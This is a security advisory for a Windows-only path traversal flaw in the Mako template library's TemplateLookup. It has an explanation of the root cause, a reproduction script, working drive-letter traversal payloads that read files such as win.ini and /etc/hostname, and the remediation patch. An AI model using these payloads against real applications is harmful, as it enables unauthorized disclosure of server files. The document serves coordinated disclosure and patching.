GHSA-5639-2J2P-M4MX
Vulnerability from github – Published: 2026-10-05 23:42 – Updated: 2026-10-05 23:42Summary
On Windows, a TemplateLookup URI beginning with a drive designator (e.g. C:/../../secret.txt or C:\..\..\secret.txt) bypasses the directory traversal check in Template.__init__, allowing reads of files outside the configured template directory.
This is a third, independent instance of the root cause behind CVE-2026-41205 (the // prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator spelling. Neither addressed the other way posixpath and ntpath disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason.
Details
The root cause is the same posixpath / os.path mismatch: resolution is done with posixpath, confinement is checked with os.path, which is ntpath on Windows.
# mako/lookup.py -- resolution
247: srcfile = posixpath.normpath(posixpath.join(dir_, u)) # posixpath, always
248: if os.path.isfile(srcfile): # ntpath on Windows
# mako/template.py -- confinement
268: u_norm = os.path.normpath(u_norm) # ntpath on Windows
269: if u_norm.startswith(".."): # never true for a drive URI
posixpath has no concept of a drive, so it treats C: as an ordinary path component; the .. segments pop C: and then escape the template root. ntpath, by contrast, splits the drive off and treats the remainder as rooted, discarding the .. entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed:
| URI | ntpath.normpath (what the guard sees) |
guard fires |
|---|---|---|
//../secret.txt |
..\secret.txt |
yes |
\..\secret.txt |
..\secret.txt |
yes |
C:/../../secret.txt |
C:\secret.txt |
no |
Because the guard cannot fire for any URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. posixpath.normpath() saturates excess .. segments at the root rather than erroring, so a URI carrying more .. than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits:
template root = <base>/srv/app/templates
'C:/../../../../boot.ini' -> reads <base>/boot.ini
'C:/' + '../'*40 + 'etc/hostname' -> reads /etc/hostname (no depth guess)
'C:/../../../../../etc/hostname' -> TopLevelLookupException (wrong depth)
On Windows the equivalent is C:/../../../../../../../../Windows/win.ini, which reads that file for any template root depth. Only a target addressed relative to the template root needs the .. count to be exact; anything reachable from the volume root does not.
Affected code
mako/template.py:Template.__init__()URI validation usesos.path.normpath(), which on Windows strips the drive and discards the..segments before thestartswith("..")guard is applied.mako/lookup.py:TemplateLookup.get_template()resolves withposixpath.normpath/posixpath.join, whereC:is an ordinary component, then performs the existence check withos.path.isfile().
Reproduction
Windows is emulated with the technique already used by the project's own test suite (test/test_template.py:1398-1401):
import os, ntpath
os.path = ntpath
from mako.lookup import TemplateLookup
lookup = TemplateLookup(directories=["root/tpl"])
for uri in ["ok.html",
"//../../secret.txt",
"\\..\\..\\secret.txt",
"../../secret.txt",
"C:/../../../secret.txt",
"C:\\..\\..\\..\\secret.txt",
"d:/../../../secret.txt"]:
try:
t = lookup.get_template(uri)
print(repr(uri), "-> filename=", t.filename, repr(t.render()))
except Exception as e:
print(repr(uri), "-> REFUSED", type(e).__name__)
Against 1.4.1, with a sentinel file written outside the configured directory:
'ok.html' -> root/tpl/ok.html 'OK' (positive control)
'//../../secret.txt' -> REFUSED (CVE-2026-41205 fix works)
'\..\..\secret.txt' -> REFUSED (CVE-2026-44307 fix works)
'../../secret.txt' -> REFUSED
'C:/../../../secret.txt' -> reads the sentinel
'C:\..\..\..\secret.txt' -> reads the sentinel
'd:/../../../secret.txt' -> reads the sentinel
On POSIX the same URIs are refused, because posixpath.normpath keeps C: as an ordinary component and the .. survive to be inspected. The issue is Windows-only.
Note that d:/../../../secret.txt resolves relative to the template root, not to drive D: -- this is not a cross-drive read. Reaching another drive would require a leading .., which ntpath.normpath renders as ..\..\D:\x and the existing guard catches.
Impact
If an application on Windows passes user-controlled template names or include paths to TemplateLookup.get_template(), an attacker may load and disclose any file readable by the application process on the same volume as the template directory, not merely files adjacent to it. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.
As with CVE-2026-41205, the URI is not generally reachable through a raw URL path, since a conforming URL normalizer collapses C:/../.. first. The relevant vectors are query strings, form and JSON bodies, route parameters, and <%include file="${...}"/>.
Remediation
Normalize both sides with the same module. The resolution side already commits to posixpath, so the confinement check should as well:
u_norm = posixpath.normpath(self.uri.replace("\\", "/").lstrip("/"))
if u_norm.startswith(".."):
raise exceptions.TemplateLookupException(...)
This closes the drive case for the same reason it closes //: posixpath treats C: as an ordinary component, so the .. segments survive to be inspected. Verified to block all three drive forms with the full test suite passing.
Credit
Reported by Eurico Nicacio under coordinated disclosure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.1"
},
"package": {
"ecosystem": "PyPI",
"name": "Mako"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102991"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T23:42:02Z",
"nvd_published_at": "2026-09-30T20:17:26Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nOn Windows, a `TemplateLookup` URI beginning with a drive designator (e.g. `C:/../../secret.txt` or `C:\\..\\..\\secret.txt`) bypasses the directory traversal check in `Template.__init__`, allowing reads of files outside the configured template directory.\n\nThis is a third, independent instance of the root cause behind CVE-2026-41205 (the `//` prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator *spelling*. Neither addressed the other way `posixpath` and `ntpath` disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason.\n\n## Details\n\nThe root cause is the same `posixpath` / `os.path` mismatch: resolution is done with `posixpath`, confinement is checked with `os.path`, which is `ntpath` on Windows.\n\n```\n# mako/lookup.py -- resolution\n247: srcfile = posixpath.normpath(posixpath.join(dir_, u)) # posixpath, always\n248: if os.path.isfile(srcfile): # ntpath on Windows\n\n# mako/template.py -- confinement\n268: u_norm = os.path.normpath(u_norm) # ntpath on Windows\n269: if u_norm.startswith(\"..\"): # never true for a drive URI\n```\n\n`posixpath` has no concept of a drive, so it treats `C:` as an ordinary path component; the `..` segments pop `C:` and then escape the template root. `ntpath`, by contrast, splits the drive off and treats the remainder as rooted, discarding the `..` entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed:\n\n| URI | `ntpath.normpath` (what the guard sees) | guard fires |\n|---|---|---|\n| `//../secret.txt` | `..\\secret.txt` | yes |\n| `\\..\\secret.txt` | `..\\secret.txt` | yes |\n| `C:/../../secret.txt` | `C:\\secret.txt` | **no** |\n\nBecause the guard cannot fire for *any* URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. `posixpath.normpath()` saturates excess `..` segments at the root rather than erroring, so a URI carrying more `..` than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits:\n\n```\ntemplate root = \u003cbase\u003e/srv/app/templates\n\n\u0027C:/../../../../boot.ini\u0027 -\u003e reads \u003cbase\u003e/boot.ini\n\u0027C:/\u0027 + \u0027../\u0027*40 + \u0027etc/hostname\u0027 -\u003e reads /etc/hostname (no depth guess)\n\u0027C:/../../../../../etc/hostname\u0027 -\u003e TopLevelLookupException (wrong depth)\n```\n\nOn Windows the equivalent is `C:/../../../../../../../../Windows/win.ini`, which reads that file for any template root depth. Only a target addressed *relative* to the template root needs the `..` count to be exact; anything reachable from the volume root does not.\n\n### Affected code\n\n- `mako/template.py`: `Template.__init__()` URI validation uses `os.path.normpath()`, which on Windows strips the drive and discards the `..` segments before the `startswith(\"..\")` guard is applied.\n- `mako/lookup.py`: `TemplateLookup.get_template()` resolves with `posixpath.normpath`/`posixpath.join`, where `C:` is an ordinary component, then performs the existence check with `os.path.isfile()`.\n\n### Reproduction\n\nWindows is emulated with the technique already used by the project\u0027s own test suite (`test/test_template.py:1398-1401`):\n\n```python\nimport os, ntpath\nos.path = ntpath\n\nfrom mako.lookup import TemplateLookup\nlookup = TemplateLookup(directories=[\"root/tpl\"])\n\nfor uri in [\"ok.html\",\n \"//../../secret.txt\",\n \"\\\\..\\\\..\\\\secret.txt\",\n \"../../secret.txt\",\n \"C:/../../../secret.txt\",\n \"C:\\\\..\\\\..\\\\..\\\\secret.txt\",\n \"d:/../../../secret.txt\"]:\n try:\n t = lookup.get_template(uri)\n print(repr(uri), \"-\u003e filename=\", t.filename, repr(t.render()))\n except Exception as e:\n print(repr(uri), \"-\u003e REFUSED\", type(e).__name__)\n```\n\nAgainst 1.4.1, with a sentinel file written outside the configured directory:\n\n```\n\u0027ok.html\u0027 -\u003e root/tpl/ok.html \u0027OK\u0027 (positive control)\n\u0027//../../secret.txt\u0027 -\u003e REFUSED (CVE-2026-41205 fix works)\n\u0027\\..\\..\\secret.txt\u0027 -\u003e REFUSED (CVE-2026-44307 fix works)\n\u0027../../secret.txt\u0027 -\u003e REFUSED\n\u0027C:/../../../secret.txt\u0027 -\u003e reads the sentinel\n\u0027C:\\..\\..\\..\\secret.txt\u0027 -\u003e reads the sentinel\n\u0027d:/../../../secret.txt\u0027 -\u003e reads the sentinel\n```\n\nOn POSIX the same URIs are refused, because `posixpath.normpath` keeps `C:` as an ordinary component and the `..` survive to be inspected. The issue is Windows-only.\n\nNote that `d:/../../../secret.txt` resolves relative to the template root, not to drive `D:` -- this is not a cross-drive read. Reaching another drive would require a leading `..`, which `ntpath.normpath` renders as `..\\..\\D:\\x` and the existing guard catches.\n\n## Impact\n\nIf an application on Windows passes user-controlled template names or include paths to `TemplateLookup.get_template()`, an attacker may load and disclose any file readable by the application process on the same volume as the template directory, not merely files adjacent to it. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.\n\nAs with CVE-2026-41205, the URI is not generally reachable through a raw URL path, since a conforming URL normalizer collapses `C:/../..` first. The relevant vectors are query strings, form and JSON bodies, route parameters, and `\u003c%include file=\"${...}\"/\u003e`.\n\n## Remediation\n\nNormalize both sides with the same module. The resolution side already commits to `posixpath`, so the confinement check should as well:\n\n```python\nu_norm = posixpath.normpath(self.uri.replace(\"\\\\\", \"/\").lstrip(\"/\"))\nif u_norm.startswith(\"..\"):\n raise exceptions.TemplateLookupException(...)\n```\n\nThis closes the drive case for the same reason it closes `//`: `posixpath` treats `C:` as an ordinary component, so the `..` segments survive to be inspected. Verified to block all three drive forms with the full test suite passing.\n\n## Credit\n\nReported by Eurico Nicacio under coordinated disclosure.",
"id": "GHSA-5639-2j2p-m4mx",
"modified": "2026-10-05T23:42:02Z",
"published": "2026-10-05T23:42:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/security/advisories/GHSA-5639-2j2p-m4mx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102991"
},
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/issues/441"
},
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/commit/000ed85e4e48771eff460bf4fc721fb43de80e08"
},
{
"type": "PACKAGE",
"url": "https://github.com/sqlalchemy/mako"
},
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/releases/tag/rel_1_4_2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mako: Path traversal via drive-letter URI on Windows in TemplateLookup"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.